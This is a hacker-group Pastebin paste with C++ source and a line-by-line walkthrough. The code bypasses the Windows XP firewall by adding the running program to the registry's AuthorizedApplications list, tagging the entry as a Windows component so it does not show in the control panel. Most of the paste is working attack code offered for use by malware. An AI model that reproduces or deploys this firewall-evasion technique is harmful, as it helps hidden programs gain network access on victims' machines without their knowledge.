Advertisement
juananon

Bypassing Windows Firewall In C++

Jan 25th, 2013
192
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.12 KB | None | 0 0
  1. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  2. =======================================
  3. ^^ HELLO EVERYONE THIS CODE IS FOR ^^
  4. || BYPASSING THE FIRE WALL ||
  5. || CODED BY : JUAN DELA CRUZ ||
  6. || ANONYMOUS PHILIPPINES ||
  7. || TEAM: COD3X & HACK PRO ||
  8. ^^ ^^
  9. =======================================
  10. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  11.  
  12. 01 #define WIN32_LEAN_AND_MEAN
  13. 02 #include <winsock2.h>
  14. 03 #include <windows.h>
  15. 04 #include <string>
  16. 05 using namespace std;
  17. 06
  18. 07 void AddException(string path)
  19. 08 {
  20. 09 HKEY hk;
  21. 10 DWORD dw;
  22. 11
  23. 12 string skey = path + ":*:Enabled:@xpsp2res.dll,-22019";
  24. 13
  25. 14 RegCreateKeyExA(
  26. 15 HKEY_LOCAL_MACHINE,
  27. 16 "SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",
  28. 17 0,
  29. 18 NULL,
  30. 19 REG_OPTION_NON_VOLATILE,
  31. 20 KEY_WRITE,
  32. 21 NULL,
  33. 22 &hk,
  34. 23 &dw
  35. 24 );
  36. 25
  37. 26 RegSetValueExA(
  38. 27 hk,
  39. 28 path.c_str(),
  40. 29 0,
  41. 30 REG_SZ,
  42. 31 (BYTE*)skey.c_str(),
  43. 32 (DWORD)skey.length()
  44. 33 );
  45. 34
  46. 35 RegCloseKey(hk);
  47. 36 }
  48. 37
  49. 38 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
  50. 39 {
  51. 40 char *CmdLineA, *Location;
  52. 41
  53. 42 CmdLineA = GetCommandLineA();
  54. 43 Location = CmdLineA + 1;
  55. 44 Location[strlen(Location)-2] = 0;
  56. 45
  57. 46 AddException(Location);
  58. 47 }
  59. =========================================================================================================
  60. explanation :)
  61. What this does:
  62.  
  63. CODE C Language
  64. 1 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
  65. 2 {
  66. 3 char *CmdLineA, *Location;
  67. =========================================================================================================
  68. This declares the entry point for the program and two character arrays, CmdLineA and Location.
  69. CODE C Language
  70. 1 CmdLineA = GetCommandLineA();
  71. =========================================================================================================
  72. This gets the command line used to launch the program - when there are no arguments, as will be the case here, it will contain the location of the executable in qoutes.
  73. CODE C Language
  74. 1 Location = CmdLineA + 1;
  75. 2 Location[strlen(Location)-2] = 0;
  76. =========================================================================================================
  77. This eliminates the quotes from the string by increasing the location of the beginning of the string and setting the last character to zero.
  78. CODE C Language
  79. 1 AddException(Location);
  80. =========================================================================================================
  81. This calls the function AddException. The paramater is implicitly converted to the type std::string.
  82. CODE C Language
  83. 1 void AddException(string path)
  84. 2 {
  85. 3 HKEY hk;
  86. 4 DWORD dw;
  87. =========================================================================================================
  88. This declares the function AddException, which takes an std::string as the parameter, and two variables, hk and dw. hk will reference the registry key we will create in the upcoming call to RegCreateKeyExA. dw is unused in this example.
  89. CODE C Language
  90. 1 string skey = path + ":*:Enabled:@xpsp2res.dll,-22019";
  91. =========================================================================================================
  92. This declares the variable skey with the value of path followed by :*:Enabled:@xpsp2res.dll,-22019. This string, when added to the registry and appropriately named, will add an exception for this program to Windows Firewall. The '@xpsp2res.dll,-22019' tells it that it is part of Windows XP, so it won't show up in the control panel.
  93. =========================================================================================================
  94. CODE C Language
  95. 01 RegCreateKeyExA(
  96. 02 HKEY_LOCAL_MACHINE,
  97. 03 "SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",
  98. 04 0,
  99. 05 NULL,
  100. 06 REG_OPTION_NON_VOLATILE,
  101. 07 KEY_WRITE,
  102. 08 NULL,
  103. 09 &hk,
  104. 10 &dw
  105. 11 );
  106.  
  107. This is the most complicated part of the entire program. It creates a key in the location described by second parameter under HKEY_LOCAL_MACHINE. The last two parameters are the locations of hk and dw, which the function will fill with the suitable values.
  108. =========================================================================================================
  109. CODE C Language
  110. 1 RegSetValueExA(
  111. 2 hk,
  112. 3 path.c_str(),
  113. 4 0,
  114. 5 REG_SZ,
  115. 6 (BYTE*)skey.c_str(),
  116. 7 (DWORD)skey.length()
  117. 8 );
  118.  
  119. This sets the name of the key to the value of path, the type to REG_SZ, and the value to the value of skey.
  120.  
  121. Hopefully this has helped you understand the process of bypassing Windows Firewall.
  122.  
  123. This sets the name of the key to the value of path, the type to REG_SZ, and the value to the value of skey.
Advertisement
Comments
Add Comment
Please, Sign In to add comment
Advertisement